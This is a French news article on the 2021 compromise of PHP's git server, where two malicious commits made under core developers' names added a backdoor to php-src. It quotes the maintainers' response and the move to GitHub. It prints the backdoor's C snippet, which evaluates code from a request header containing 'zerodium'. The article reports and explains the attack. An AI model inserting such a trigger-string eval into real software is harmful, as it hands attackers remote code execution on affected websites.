Des hackers détournent le code source de PHP après s'être infiltrés dans le serveur git interne.
Le code donnait des pouvoirs d'exécution de code à quiconque connaissait le mot de passe secret : «zerodium».
Un pirate informatique a compromis le serveur utilisé pour distribuer le langage de programmation PHP et a ajouté une porte dérobée au code source qui aurait rendu les sites Web vulnérables à une prise de contrôle complète, ont déclaré des membres du projet open source. Deux mises à jour transmises au serveur PHP Git au cours du week-end ont ajouté une ligne qui, si elle était exécutée par un site Web alimenté par cette version détournée de PHP, aurait permis aux visiteurs sans autorisation d'exécuter le code de leur choix. Les commits malveillants ont donné au code la capacité d'injection de code aux visiteurs qui avaient le mot «zerodium» dans un en-tête HTTP.
Les commits ont été effectués dans le repo php-src sous les noms de compte de deux développeurs PHP bien connus, Rasmus Lerdorf et Nikita Popov. Ce dernier a indiqué dans un billet :
« Hier (2021-03-28), deux commits malveillants ont été poussés vers le repo php-src à partir des noms de Rasmus Lerdorf et moi-même. Nous ne savons pas encore exactement comment cela s'est passé, mais tout indique une compromission du serveur git.php.net (plutôt qu'une compromission d'un compte git individuel).
« Alors que l'enquête est toujours en cours, nous avons décidé que le maintien de notre propre infrastructure git est un risque de sécurité inutile, et que nous arrêterons le serveur git.php.net. Au lieu de cela, les référentiels sur GitHub, qui n'étaient auparavant que des miroirs, deviendront canoniques. Cela signifie que les modifications doivent être transmises directement à GitHub plutôt qu'à git.php.net.
« Alors qu'auparavant l'accès en écriture aux référentiels était géré via notre système de karma local, vous devrez maintenant faire partie de l'organisation php sur GitHub. Si vous ne faites pas encore partie de l'organisation, ou n'avez pas accès à un référentiel auquel vous devriez avoir accès, contactez-moi à nikic@php.net avec vos noms de compte php.net et GitHub, ainsi que des autorisations qui vous manque actuellement. L'adhésion à l'organisation nécessite l'activation de 2FA.
« Ce changement signifie également qu'il est désormais possible de fusionner les Pull Request directement à partir de l'interface Web de GitHub.
« Nous examinons les référentiels pour toute corruption au-delà des deux commits référencés. Veuillez contacter security@php.net si vous remarquez quelque chose. »
Suite à la compromission, Popov a expliqué que les responsables de PHP avaient conclu que leur infrastructure Git autonome représentait un risque de sécurité inutile. En conséquence, ils arrêteront le serveur git.php.net et feront de GitHub la source officielle des dépôts PHP. À l'avenir, toutes les modifications du code source PHP seront effectuées directement sur GitHub plutôt que sur git.php.net.
Les changements malveillants ont été portés à l'attention du public dimanche par des développeurs tels que Markus Staab, Jake Birchallf et Michael Voříšek alors qu'ils examinaient un commit samedi. La mise à jour, qui visait à corriger une faute de frappe, a été effectuée sous un compte utilisant le nom de Lerdorf. Peu de temps après la première découverte, Voříšek a repéré le deuxième commit malveillant, qui a été effectué sous le nom de compte de Popov. Il prétendait revenir sur le correctif de faute de frappe précédent.
Les deux commits ont ajouté les mêmes lignes de code:
Code C : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4 convert_to_string(enc); if (strstr(Z_STRVAL_P(enc), "zerodium")) { zend_try { zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
Zerodium est un courtier qui achète des exploits aux chercheurs et les vend à des agences gouvernementales pour une utilisation dans des enquêtes ou à d'autres fins. La raison pour laquelle les commits ont référencé Zerodium n'est pas claire. Le PDG de la société, Chaouki Bekrar, a déclaré lundi sur Twitter que Zerodium n’était pas impliqué :
« Bravo au troll qui a mis ‘Zerodium’ dans les commits PHP git compromis d’aujourd’hui », a-t-il écrit. « De toute évidence, nous n'avons rien à voir avec cela. Probablement, le ou les chercheurs qui ont trouvé ce bogue / exploit ont essayé de le vendre à de nombreuses entités, mais aucun ne voulait acheter cette merde, alors ils l'ont brûlé pour le plaisir ».
Avant la compromission, le groupe PHP gérait tous les accès en écriture au référentiel sur son propre serveur git http://git.php.net/ en utilisant ce que Popov appelait un système « maison » appelé Karma. Il a fourni aux développeurs différents niveaux de privilèges d'accès en fonction des contributions précédentes. GitHub, quant à lui, avait été un référentiel miroir.
Désormais, le groupe PHP abandonne l'infrastructure git autohébergée et gérée et la remplace par GitHub. Le changement signifie que GitHub est désormais le référentiel « canonique ». Le groupe PHP n'utilisera plus le système Karma. Au lieu de cela, les contributeurs devront faire partie de l'organisation PHP sur GitHub et utiliser l'authentification à deux facteurs pour les comptes avec la possibilité de faire des commits.
L’événement de ce week-end ne marque malheureusement pas la première compromission des serveurs de php.net dans l’intention de lancer une attaque de la chaîne logistique. Début 2019, l'extension PHP et le référentiel d'applications largement utilisés ont temporairement fermé la majeure partie du site après avoir découvert que les pirates ont remplacé le gestionnaire de packages principal par un gestionnaire malveillant. Les développeurs du groupe ont déclaré que quiconque avait téléchargé le gestionnaire de paquets au cours des six derniers mois devrait en obtenir une nouvelle copie.
PHP gère environ 80% des sites Web. Il n'y a aucun rapport de sites Web incorporant les modifications malveillantes dans leurs environnements de production.
Les changements ont probablement été apportés par des personnes qui voulaient se vanter de leur accès non autorisé au serveur PHP Git plutôt que par des personnes qui auraient été motivées par l’intention de disposer de portes dérobées sur des sites Web utilisant PHP, a estimé HD Moore, cofondateur et PDG de la plateforme Rumble.
« On dirait que les attaquants trollent Zerodium ou essaient de donner l'impression que le code a été détourné pendant beaucoup plus longtemps », a-t-il déclaré. « Dans tous les cas, je passerais beaucoup de temps à parcourir les commits précédents si j'avais des intérêts en matière de sécurité dans PHP. »
Commits malveillants (1 et 2)
Sources : liste de diffusion PHP, Zerodium
Partager